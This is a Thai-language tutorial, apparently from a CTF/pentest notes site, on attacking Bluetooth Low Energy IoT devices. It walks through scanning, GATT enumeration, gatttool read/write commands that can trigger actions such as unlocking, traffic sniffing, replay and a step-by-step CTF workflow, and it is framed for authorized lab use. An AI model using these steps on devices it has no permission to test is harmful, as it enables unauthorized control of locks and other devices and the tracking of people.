คลัง
iot

BLE Attacks

Bluetooth Low Energy (BLE) เป็น protocol ไร้สายของอุปกรณ์ IoT จำนวนมาก (smart lock, wearable, beacon) บทนี้ลงลึกพื้นฐาน GAP/GATT, การ scan หาอุปกรณ์, การ enumerate service/characteristic, การอ่าน/เขียนค่า, การ sniff ทราฟฟิก, replay และช่องโหว่ที่พบบ่อย (เนื้อหาเพื่อฝึกใน lab/CTF/อุปกรณ์ที่ได้รับอนุญาต)

IntermediateAdvanced#ble#bluetooth#iot#gatt#sniffing#wireless#ctf

1. พื้นฐาน BLE (GAP / GATT)

BLE ออกแบบมาให้กินไฟต่ำ ใช้ใน smart lock, fitness band, beacon, medical device โครงสร้างสำคัญ: GAP (จัดการ advertising + connection — อุปกรณ์ broadcast ตัวเองให้เจอ) และ GATT (โครงสร้างข้อมูล: Service → มีหลาย Characteristic → แต่ละ characteristic มีค่า + properties เช่น read/write/notify) การโจมตี BLE คือ enumerate GATT แล้วอ่าน/เขียน characteristic (เช่นสั่งปลดล็อค) หรือดักทราฟฟิก

เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, อุปกรณ์ของตัวเอง) เท่านั้น

2. Scan หาอุปกรณ์

scan BLE devicesLinux
# bluetoothctl (BlueZ)
bluetoothctl
[bluetooth]# scan on            # เห็น MAC + ชื่อ + RSSI ของอุปกรณ์รอบตัว
[bluetooth]# devices            # list ที่เจอ

# hcitool (เก่าแต่ใช้ได้)
sudo hcitool lescan             # scan BLE (LE)

# bettercap (ครบเครื่อง)
sudo bettercap
> ble.recon on                  # scan
> ble.show                      # แสดงอุปกรณ์ + service

# ดู advertising data (เผยชนิด/ผู้ผลิต/UUID service)
sudo btmon                      # monitor HCI (เห็น adv packet ละเอียด)
scan เห็น MAC/ชื่อ/RSSI; bettercap ble.recon ครบสุด; btmon ดู advertising data ละเอียด (เผย service UUID)

3. Enumerate GATT (service/characteristic)

ดู service + characteristicLinux
# bluetoothctl — connect + ดู GATT
bluetoothctl
[bluetooth]# connect AA:BB:CC:DD:EE:FF
[device]# menu gatt
[device]# list-attributes        # list service + characteristic (พร้อม UUID + handle)

# gatttool (interactive)
gatttool -b AA:BB:CC:DD:EE:FF -I
[..]> connect
[..]> primary                    # list primary services
[..]> characteristics            # list characteristics (handle + properties + UUID)

# bettercap
> ble.enum AA:BB:CC:DD:EE:FF     # enumerate service/characteristic + properties

# GUI มือถือ: nRF Connect (Nordic) — เห็น service/characteristic + read/write ง่ายสุด
enumerate เห็น service→characteristic + properties (read/write/notify) + handle/UUID; nRF Connect (app มือถือ) สะดวกสุดสำหรับสำรวจ

4. อ่าน / เขียน characteristic

read/write value (gatttool)Linux
# อ่านค่า characteristic (ตาม handle)
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0025
# หรือใน interactive: char-read-hnd 0x0025

# เขียนค่า (เช่นสั่งปลดล็อค/เปลี่ยนสถานะ)
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0025 -n 01
# -n = ค่า hex ที่เขียน (เช่น 01 = on/unlock)

# subscribe notification (รับค่าที่อุปกรณ์ส่ง)
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0026 -n 0100  # เปิด notify
gatttool -b AA:BB:CC:DD:EE:FF --listen

# วิเคราะห์: ลองอ่านทุก characteristic ที่ read ได้ → หาค่าที่น่าสนใจ
# ลองเขียน characteristic ที่ write ได้ → ดูว่าควบคุมอะไร (เช่นสั่งงาน)
char-read อ่านค่า; char-write-req เขียน (สั่งงาน เช่น unlock); ลองอ่าน/เขียนทุก characteristic ที่ properties อนุญาต หาตัวที่ควบคุมอุปกรณ์

5. Sniff ทราฟฟิก BLE

การดักทราฟฟิก BLE ระหว่างอุปกรณ์กับ app มือถือ เผย protocol/command ที่ใช้จริง — ต้องมี hardware sniffer เพราะ BLE hop ช่องสัญญาณเร็ว

  • nRF52840 dongle + Wireshark: ถูกและนิยม — flash firmware sniffer ของ Nordic → capture เข้า Wireshark (มี BLE dissector)
  • Ubertooth One: sniff BLE (และ Bluetooth classic บางส่วน) → ubertooth-btle -f → Wireshark
  • capture pairing: ถ้าดักตอน pairing ได้ + รู้ key อาจ decrypt ได้ (Just Works pairing = อ่อน)
  • วิเคราะห์ใน Wireshark: filter btatt → ดู read/write request + value (เห็น command จริงที่ app ส่ง)
  • HCI snoop log (Android): เปิด Developer Options → Bluetooth HCI snoop log → ดึง log มาเปิด Wireshark (ไม่ต้องมี sniffer hardware!)
ไม่มี sniffer hardware? เปิด Android HCI snoop log (Developer Options) — บันทึกทุก BLE packet ที่มือถือรับส่ง แล้วดึงไฟล์มาเปิด Wireshark เห็น command ที่ app ส่งหาอุปกรณ์ทั้งหมด

6. ช่องโหว่ + replay

  • ไม่มี pairing/encryption: อุปกรณ์จำนวนมากให้ connect + อ่าน/เขียน characteristic โดยไม่ต้อง pair → สั่งงานได้ทันที (เช่น smart bulb/plug ราคาถูก)
  • Just Works pairing: pairing แบบไม่มี PIN/confirmation → MITM ได้, sniff แล้ว decrypt ได้
  • replay attack: ดัก command (เช่น unlock) แล้วส่งซ้ำ — ถ้าไม่มี nonce/counter จะใช้ได้ (เช่น replay ค่าที่เขียนไป characteristic)
  • no authentication on characteristic: characteristic สำคัญ (unlock, config) เขียนได้โดยไม่ต้อง auth
  • hardcoded/predictable key: key/PIN เดาได้หรือ hardcode ใน app (decompile app หา — ดู Firmware/Reverse)
  • static MAC + sensitive adv: track อุปกรณ์/คนได้จาก MAC ที่ไม่ random

7. Quick Reference

  • BLE: GAP (advertising/connect) + GATT (Service→Characteristic)
  • scan: bluetoothctl scan on / hcitool lescan / bettercap ble.recon
  • enumerate: gatttool --primary/--characteristics / nRF Connect (app)
  • read/write: gatttool --char-read / --char-write-req -n VALUE (สั่งงาน)
  • sniff: nRF52840+Wireshark / Ubertooth / Android HCI snoop log
  • ช่องโหว่: no pairing/encryption, Just Works, replay, no auth on characteristic

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติโจทย์ CTF ให้อุปกรณ์ BLE (smart lock, beacon, wearable) มา มีแค่ Kali + adapter Bluetooth ในตัว — ทำตามนี้ทีละขั้น ตั้งแต่ scan จนถึงหาช่องทางสั่งงานอุปกรณ์

  1. 1สแกนหาอุปกรณ์: bluetoothctl แล้วพิมพ์ scan on — จด MAC address ของเป้าหมาย
  2. 2ลอง connect: connect AA:BB:CC:DD:EE:FF ใน bluetoothctl — ถ้าต้อง pair ให้ลอง pair AA:BB:CC:DD:EE:FF ก่อน
  3. 3enumerate service/characteristic: menu gatt แล้ว list-attributes (หรือใช้แอป nRF Connect บนมือถือดูง่ายกว่า)
  4. 4จดว่า characteristic ไหน read ได้ ไหน write ได้ (ดู properties)
  5. 5อ่านทุกตัวที่ read ได้: gatttool -b MAC --char-read -a 0xHANDLE — หาค่าที่ดูน่าสนใจ
  6. 6ลองเขียนค่าใน characteristic ที่ write ได้: gatttool -b MAC --char-write-req -a 0xHANDLE -n 01 — ดูว่าอุปกรณ์ตอบสนองไหม (เช่นไฟติด/ปลดล็อค)
  7. 7ถ้าไม่มีอะไรเกิดขึ้น ให้ sniff ทราฟฟิกจริงจาก app ทางการก่อน — เปิด Developer Options ในมือถือ Android → HCI snoop log → ใช้งาน app ปกติ → ดึง log มาเปิด Wireshark
  8. 8ดู filter btatt ใน Wireshark หา write request ที่ app ส่งจริง แล้วลองเขียนค่าเดียวกันเอง
  9. 9ถ้ายังไม่ได้ผล ลอง decompile companion mobile app หา hardcoded key/protocol ที่ฝังไว้
เจอ BLE device — ไล่หาช่องทางควบคุม
scan หาอุปกรณ์ BLE
bluetoothctl scan on
connect อุปกรณ์ได้ไหม
✅ connect ได้เลย→ enumerate GATT
❌ ต้อง pair/bond ก่อน→ ลอง pair (Just Works มักผ่านง่าย)
ลอง pair ก่อน connect
bluetoothctl pair MAC
✅ pair สำเร็จ→ enumerate GATT
❌ pair ล้มเหลว / ต้องมี PIN ที่ไม่รู้→ ต้อง sniff ดัก pairing หรือหา key จาก app
enumerate service/characteristic
gatttool --characteristics หรือ nRF Connect
มี characteristic ที่เขียนได้โดยไม่ auth ไหม
✅ มี (write property เปิด)→ ลองเขียนค่าที่น่าสงสัย
❌ ทุกตัวสำคัญต้อง auth→ ต้อง sniff ทราฟฟิกจริงหา command
เขียนค่าทดสอบ
gatttool --char-write-req -a HANDLE -n 01
✅ อุปกรณ์ตอบสนอง (เช่นปลดล็อค/ไฟติด)จบ — เจอช่องโหว่ควบคุมอุปกรณ์แล้ว
❌ ไม่มีอะไรเกิดขึ้น→ ค่าที่ถูกต้องอาจต้องดูจาก traffic จริงก่อน
sniff traffic ระหว่าง app จริงกับอุปกรณ์
Android HCI snoop log หรือ nRF52840+Wireshark
✅ เห็น command/ค่าที่มีความหมายใน Wireshark→ ใช้ค่านั้นเขียน/replay เอง
❌ traffic encrypt / ไม่เห็นอะไรชัดเจน→ ไปหา key จาก companion app แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
scan หาอุปกรณ์bluetoothctl, hcitool--
enumerate GATT ให้ง่าย/สวยgatttool, bettercap-nRF Connect (แอปมือถือ ฟรี)
อ่าน/เขียน characteristicgatttool--
sniff โดยไม่มี hardware sniffer--Android Developer Options: HCI snoop log (ในมือถือ)
sniff ด้วย hardware sniffer-nRF52840 dongle (Nordic sniffer firmware) / Ubertooth One-
วิเคราะห์ pcap ที่ดักได้wireshark--
decompile companion app หา key-apt install apktool; pipx install jadx-
🚑 ถ้าตันสนิท ลองท่าถัดไป: UART & JTAG — ถ้า BLE ปิดแน่นหนา (encrypt+auth ครบ) ต้องเข้าถึง hardware ของบอร์ดตรง; Firmware Analysis — ถ้าอยากดู BLE stack/protocol ที่ฝังอยู่ในเฟิร์มแวร์ของอุปกรณ์; RF & SDR — ถ้าจริงๆ อุปกรณ์ใช้คลื่นวิทยุ proprietary ไม่ใช่ BLE มาตรฐาน; MQTT & CoAP — ถ้าอุปกรณ์คุยกับ cloud/hub ผ่าน network แทนที่จะเป็น BLE โดยตรง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้